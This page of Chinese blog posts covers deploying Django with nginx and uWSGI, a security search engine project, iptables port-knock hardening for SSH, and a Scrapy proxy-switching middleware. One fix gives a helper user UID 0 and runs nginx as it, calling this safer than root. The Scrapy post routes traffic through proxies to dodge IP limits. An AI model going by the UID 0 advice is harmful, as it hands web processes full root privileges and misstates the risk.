  • 对提交页面做次数限制,防止恶意爆破,就算不能爆破成功也要减少系统开销;

部署Django项目

前言

  月初一直在忙于期末复习准备考试,导致博客处于断更状态,考完试后就忙于为“黑塔”项目增加爬虫,并将项目正式部署该项目。现在已经完成了初步的部署,所以是时候更新博客和记录部署时遇到的一些问题。其实,开个博客也是能很好的鞭策自己去学习东西,就是为了博客不处于断更状态。

目录

部署概述

  在本文中采用nginx + uwsgi的部署方案,这也是目前较为受欢迎的方案。先放一张整个系统的架构图:



  在这个方案中,nginx主要处理静态页面,而uwsgi处理动态页面,整个系统对外体现为nginx,当nginx发现请求的是动态页面时会将请求发送给uwsgi处理,这两者之间的通信桥梁可以是端口或者sock的形式,本文采用sock文件的形式,听说这种方式比端口通信更加有效。

收集项目中的静态文件

  很多博客里都把这一步放到最后,但这给刚学部署的人很不好的体验,使人对整个部署过程很模糊,所以我这里先收集项目中的静态文件。说明:静态文件的位置没有要求,收集静态文件的目的是让nginx更好的处理它,如果直接使用APP里的静态文件会导致后台Admin的css、js等无法加载,所以我们需要先收集静态文件。

  在项目的setting.py中添加静态文件存放的目录,添加内容如下:

1
2
3
STATIC_URL = '/static/'
# STATIC_ROOT就是静态文件的路径,可以自由设置,下面配置uwsgi、nginx需要使用到这个路径
STATIC_ROOT = '/root/django/static/'

  在manage.py的目录下运行python manage.py collectstatic收集静态文件。

安装及配置uwsgi

  在django的python环境中执行:pip install uwsgi即可。

  配置uwsgi,本文采用.ini的文件形式配置。新建一个新的文件夹,可以在任意位置。如本文中在与django项目同级的目录下新建一个名为:uwsgi的文件夹,名字可以任意取。




  其中web是项目文件夹,uwsgi文件夹用来存放uwsgi的配置文件和日志等。

  在uwsgi中新建一个uwsgi.ini的文件,具体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# uwsig使用配置文件启动
[uwsgi]
# 项目根目录,并非是app目录
chdir=/root/django/web/
# wsgi.py的路径,first是wsgi.py存在的目录名
module=first.wsgi:application
# 指定sock的文件路径,用来与nginx通信
socket=/root/django/uwsgi/uwsgi.sock
# 进程个数
workers=4
pidfile=/root/django/uwsgi/uwsgi.pid
# 指定IP端口,这里可以用来测试uwsgi与django项目之间是否准确连接。调试好后可以注释掉
# 如果开启了可以不用开启nginx服务而直接通过 ip:8080访问网页。
# http=192.168.2.108:8080

# 这里使用上面收集的静态文件夹目录
static-map=/static=/root/django/static
# 启动uwsgi的用户名和用户组
uid=junay
gid=root
# 启用主进程
master=true
# 自动移除unix Socket和pid文件当服务停止的时候
vacuum=true
# 序列化接受的内容,如果可能的话
thunder-lock=true
# 启用线程
enable-threads=true
# 设置自中断时间
harakiri=30
# 设置缓冲
post-buffering=4096
# 设置日志目录
daemonize=/root/django/uwsgi/uwsgi.log

  上面配置文件的每一条都有详细的说明,请大家仔细阅读。这里需要注意的是,我为这个项目专门添加了一个junay的用户,并且将它添加到root用户组。后面我还是使用这个用户开启nginx服务。我们需要特别注意用户权限的问题,这个问题也困扰了我两天。

安装及配置nginx

  nginx直接使用apt安装即可。安装完成后我们在/etc/nginx/conf.d/目录下为nginx与uwsgi通信建立配置文件。文件名可以任意,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
server { 
# nginx服务开启的端口
listen 80;
# 如果有域名则写上域名,否则使用IP地址
server_name www.secsearch.top;
# Nginx日志配置
access_log /var/log/nginx/access.log;
charset utf-8; # Nginx编码
gzip_types text/plain application/x-javascript text/css text/javascript application/x-httpd-php application/json text/json image/jpeg image/gif image/png application/octet-stream; # 支持压缩的类型

error_page 404 /404.html; # 错误页面
error_page 500 502 503 504 /50x.html; # 错误页面

# 指定项目路径uwsgi
location / {
# uwsgi_params在nginx文件夹下
include /etc/nginx/uwsgi_params;
# 设置连接uWSGI超时时间
uwsgi_connect_timeout 30;
# nginx与uwsgi的通信方式,动态请求会通过sock传递给uwsgi处理
uwsgi_pass unix:/root/django/uwsgi/uwsgi.sock;
}

# 这里使用上面收集的静态文件夹目录
location /static/ {
alias /root/django/static/;
index index.html index.htm;
}
}

启动服务

  接下来我们启动uwsgi,进入刚才新建的uwsgi文件夹,通过配置文件启动uwsgi:

1
uwsgi --ini uwsgi.ini

  执行后会在该文件夹下生成uwsgi.log用来记录uwsgi日志,我们可以先查看一下该文件,以保证我们的uwsgi服务是正常的。

  然后我们启动nginx:

1
service nginx start

  现在通过域名(如果你上面配置的是域名,否则使用IP)访问网站,看是否正常运行。如果你能成功运行那么恭喜你,你可以不用往下看了,如果你出现了一些错误,那么可以借鉴我的解决思路。再附上关闭uwsgi服务和nginx的命令:

1
2
killall -9 uwsgi
service nginx stop

部署中遇到的问题及解决方案

  这里我访问网站后发现是502错误,这也是我遇到的一个大坑,很多博客都没有解释和解决掉这个问题。

  出现502后查看日志文件:cat /var/log/nginx/access.log,发现是权限问题,原来nginx默认是www-data用户运行,但该用户没有权限访问root下的目录文件,所以导致服务器出现错误。所以我们需要以root身份运行,但root实在是太敏感,所以上面专门添加的用户junay就起作用了。

  首先我们修改junay的权限,通过:vim /etc/passwd,将juany修改成如下:

1
junay:x:0:0:,,,:/home/junay:/usr/bin/git-shell

  这里我们将junay的默认shell设成git-shell,防止该用户登陆bash,其次,我们再修改/etc/ssh/sshd_config,在该文件中添加如下两行,禁止junay使用ssh。

1
2
AllowUsers root
DenyUsers junay

  最后我们修改nginx的默认用户,改配置文件为/etc/nginx/nginx.conf,将它的user一行改为:




  修改完成后,我们重新启动nginx,使用:service nginx restart,现在我们就成功的完成了django的部署。如果你还是出现了问题,那么请仔细查看uwsgi和nginx的日志文件

“黑塔”-一款专注于网络安全的垂直搜索引擎

关于

  这个项目,项目地址,暂且称为“黑塔”,愿景是能够成为网络安全中的一座灯塔,为寻路的人提供方向。它是一款专注于网络安全垂直搜索引擎

  一开始想到这个项目的初衷是锻炼自己的开发能力,以及方便自己需要的时候查找资料。但在后来,作者发现网上还没有一款专注于网络安全的垂直搜索引擎,遂萌发自己打造一款引擎。也许有人会觉得百度、Google等主流搜索引擎那么强大,哪还需要自己专门开发一款垂直搜索引擎,但事实上并非如此,这里不是说它们不够强大,而是从另一个角度思考问题,Google等搜索引擎包罗万象,体积庞大,很多时候无法收录全面,并且更新存在比较大的延迟,这对信息新鲜度要求极高的网安领域来说是一个缺陷,加之很多大佬的优质博客根本没有做所谓的SEO优化,导致即使被搜索引擎收录,其排名也比较低下,用户需要特别注意才能发觉。

  而作为垂直搜索引擎,它拥有短小精悍更新速度快信息来源准确的特点,它能够给用户提供新鲜准确原创的信息,这就是垂直搜索引擎存在的意义。

  “黑塔”的收录信息主要来源于网络安全领域各大佬的博客安全论坛等专业、可信的信息源,所以,在这里,你能得到更加准确新鲜的信息,要知道,在网安领域,一个漏洞EXP晚一小时到你手里所产生的影响都是不同的。“黑塔”的另一个特点就是对新手朋友帮助较大,刚入门或还在入门阶段的人可以把“黑塔”作为增加知识储备的手段,这里有着各网安大佬的原创文章、实战记录,潜心阅读并加以复现对提高自己的技术水平是很有帮助的。

  目前,“黑塔”的开发工作仍在继续,不管它是否能受到用户欢迎,也不管它的用户量能有多大,作者都将继续完善、丰富它,以此作为作者增加开发经验、学习网安技术的手段。如果你有好的建议、想法或者本站的漏洞,也欢迎联系我,我相信你能找到我的联系方式。

  最后,希望大家能在光怪陆离包罗万象的“黑客世界”中找到属于自己的路,也希望“黑塔”能在你成长的过程中给予你帮助,在这个充满黑、白、灰的世界中,坚持初心不越雷池,才能方得始终

通过iptables配置加强服务器安全

绪言

  VPS在公网上使用得越来越多,如何提高自己的服务器安全也变得重要起来,特别是脚本横飞的时代,如果不对服务器加以修饰,每天lastb的记录都能增加很多。而且对外提供越多的服务意味着暴露的缺陷就越多,所以掌握iptables的基本使用中解决很多问题。

主动模式

1
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

  首先对自己主动发送的请求进行响应的报文放行,这里尤其注意是对自己已发送的报文进行响应,如果是其他客户端发送过来的请求连接这里不做处理,使用默认的或后续的匹配策略处理。
因为在iptables看来每个协议都有建立连接的概念,包括“udp”、“icmp”。state支持的状态有:NEW、ESTABLISHED、RELATED、INVALID、UNTRACKED。

  • NEW:就是双方进行通信时第一个到来的报文;
  • ESTABLISHED:state把NEW以后到来的报文都定义为ESTABLISHED状态,包括UDP等,所以说state是有类似于tcp三次握手建立连接的概念;
  • RELATED:在一个服务中,可能开启了两个进程,而且这两个进程都需要跟服务器进行通信,例如FTP有两个通信链路,命令链路和传输数据的链路,这两个链路就是存在关系的,所以他们属于RELATED状态;
  • INVALID:表示一个包不能被识别;
  • UNTRACKED:表示报文不能被追踪;

为SSH加固

1
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 128 -m recent --set --name SSH --rsource -j ACCEPT

  length模块用于匹配报文长度,这里我们用ping报文的长度来充当芝麻开门的作用,recent模块功能很强,能将匹配到的报文信息记录下来,给后续规则做条件使用。它的几个参数为:

  • —name: 给用来记录报文的列表起名称;(这里应该是两个-)
  • —set: 表示将匹配到的报文记录下来;
  • —rsource: 表示记录源IP地址;

  这条指令的意思是:将ping报文长度为128的源IP地址记录到叫SSH的列表中去。这里需要注意的是ping报文头部长度就有28字节,所以实际的填充报文为:128-28=100。所以在Linux下使用ping -s 100 ip;在Windows下使用ping -l 100 ip来敲开服务器大门。

  相关的icmp报文的类型如下(因为ssh客户端是ping的请求方(发起方),所以这里要匹配类型为8的报文):

类型代码 类型描述
0 响应应答(ECHO-REPLY)
3 不可到达
4 源抑制
5 重定向
8 响应请求(ECHO-REQUEST)
11 超时
12 参数失灵
13 时间戳请求
14 时间戳应答
15 信息请求(*已作废)
16 信息应答(*已作废)
17 地址掩码请求
18 地址掩码应答
1
iptables -A INPUT -p tcp --dport 8888 -m state --state NEW -m recent --rcheck --seconds 20 --name SSH --rsource -j ACCEPT

  8888是ssh修改后的端口号,这里之所以匹配NEW状态是因为后面我们需要对INPUT使用白名单策略,而NEW之后的状态在前面已经放行,所以这里需要对NEW状态进行放行。这里再对recent的两个参数进行说明:

  • —rcheck: 检查源IP是否在列表中,以第一个匹配开始计算时间
  • —seconds: 记录的源IP地址的有效时间

  所以这一整句话是说对NEW(新建)状态下请求8888端口的源IP进行检查,看这个IP是否在名叫SSH的列表之中,有效时间是20秒,这里的有效时间是指上一条规则记录下源IP的时间离用户请求SSH服务器的时间间隔。所以用户必须在ping完的20秒内连接客户端,否则连接失败,重新ping。

PS: 如果是私有的git服务器的话,也同样适用这套规则,登陆或clone、push前都需要进行特殊的操作,这就能很好的保护数据和服务器的安全问题。不要以为这是弱智的问题,,这两天逛tools的时候就有人的git服务器被人攻破。。。

将INPUT策略改成白名单模式

  白名单是只接受自己信任的来源,而对非信任区来源采用拒绝策略;黑名单则只拒绝自己不信任的来源,接受信任或目的不明确的来源。所以采用白名单的策略系统的安全性较高,而黑名单难免会有疏忽。

  要使用白名单,只需将INPUT的默认策略从ACCEPT改成DROP。可以使用iptables -P DROP,但如果一不小心清空了ACCEPT的规则,那么服务器将按照默认drop的策略拒绝所有的连接,导致服务器失联。所以我们使用另一种较为安全的策略:

1
iptables -A INPUT -j DROP

  我们在INPUT链的最后一条上加上DROP规则,这样即使我们不小心iptables -F INPUT清除掉INPUT规则也不用担心服务器失联。

  值得一提的是,由于采用了DROP策略,所以ping只接收长度为100的报文,也就是说正常的ping是不会被服务器接收的,这就提供了保护主机的安全的方法,相当于把主机从公网中隐藏起来,只有知道口令的人才能找得到。

保存iptables配置

  笔者主机为:Ubuntu 16.04,首先安装:

1
2
apt install iptables-persistent
apt install netfilter-persistent # ubuntu 14.04可以不用

  保存:

1
netfilter-persistent save

  在/etc/rc.local中添加开机时自动执行恢复操作:

1
netfilter-persistent reload

后言

  这里只是简单的在INPUT中加固了ssh连接,但对其他类似web的服务没有讲解,但这并不是说iptables对这些服务没有办法,相反,iptables能很好的加强系统安全。比如有些服务不想暴露给外部直接访问,只允许本地处理。这时我们就能使用类似于这样的规则:

1
iptables -I INPUT ! -s 127.0.0.1 -j DROP

  通过配置iptables还可以在有限程度上防止CC攻击DDOS等攻击,它可用的一些模块还有:

  • string: 可以匹配链路中出现的特定字符;
  • time: 对链路的时间规则;
  • limit: 对IP的并发限制;

这在后续博文中可能有所涉及。

解决Scrapy爬虫卡(停)顿问题

介绍

  最近在做爬虫的时候经常遇到爬虫卡顿(停顿)的情况,让人很是苦恼,稍不注意就进程就卡住,在搜索了方法后,最后采用自动代理切换+超时下载件的方法解决。

编写自动代理中间件

  在项目的middlewares.py中新建一个自动代理中间件的类,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class MyproxyMiddleware(object):
"""docstring for ProxyMiddleWare"""

def process_request(self, request, spider):
'''对request对象加上proxy'''
# proxy = self.get_random_proxy()
haha = random.randint(0,10)
if haha >= 5:
print('\n随机{}正在使用代理\n'.format(haha))
proxy = 'http://127.0.0.1:8087'
request.meta['proxy'] = proxy

def process_response(self, request, response, spider):
'''对返回的response处理'''
# 如果返回的response状态不是200,重新生成当前request对象
if response.status != 200:
proxy = 'http://127.0.0.1:8087'
# print("this is response ip:" + proxy)
# 对当前reque加上代理
request.meta['proxy'] = proxy
return request
return response

def process_exception(self, request, exception, spider):
# 出现异常时(超时)使用代理
print("\n出现异常,正在使用代理重试....\n")
proxy = 'http://127.0.0.1:8087'
request.meta['proxy'] = proxy
return request

  process_request()方法是发起请求时调用的,所以如果你希望一开始请求就使用代理就可在这里写上代理地址,这个函数可以返回三个值:Nonerequestresponse
如果是返回None,说明不对请求头做任何处理;如果返回request,则按照用户定制的请求头请求网页,如果我们要使用代理则需返回request,不写明写返回也是返回request;response表示不再使用其他下载中间件,直接返回响应结果。

  这里我使用随机的方法使用代理,毕竟代理流量也是有限度的。我使用的是XX-NET免费代理,它的主要用途是被国人拿来扶墙的,它提供自动IP切换服务,可以很好的为爬虫服务。另一种免费躲避IP限制的方法是使用tor,不过在国内的话需要先科学上网。

  process_exception()是对爬虫请求是出现的异常情况进行处理的方法,它会捕捉超时、503等异常,当我们出现卡顿或停顿时很有可能就是超时,所以我们要编写这个函数。当返回request时,爬虫会重新使用使用代理进行请求,我们需要的就是这个功能。

添加下载中间件

  将上面的中间件添加到setting.py中,

1
2
3
4
5
DOWNLOADER_MIDDLEWARES = {
'scrapy_first.middlewares.MyproxyMiddleware':200,
'scrapy_first.middlewares.RandomUserAgent':158,
'scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware':500,
}

  scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware这个中间件可以定义超时时间,配合DOWNLOAD_TIMEOUT = 200使用。这也是防止爬虫停顿的方法。另一个跟这个功能差不多的是:scrapy.contrib.downloadermiddleware.retry.RetryMiddleware,有需要的也可以添加进去,它会把超时或者 HTTP 500 错误导致失败的页面记录下来,当爬虫爬取完正常的页面后再统一重新请求这些异常也页面。它有三个属性:

  • RETRY_ENABLED
  • RETRY_TIMES
  • RETRY_HTTP_CODES

  各自的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RETRY_ENABLED

新版功能。

默认: True

Retry Middleware 是否启用。

RETRY_TIMES

默认:2

包括第一次下载,最多的重试次数

RETRY_HTTP_CODES

默认: [500, 502, 503, 504, 400, 408]

重试的 response 返回值(code)。其他错误(DNS 查找问题、连接失败及其他)则一定会进行重试。

  通过合理配置这些下载中间件就能很好的避免爬虫卡死的情况。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×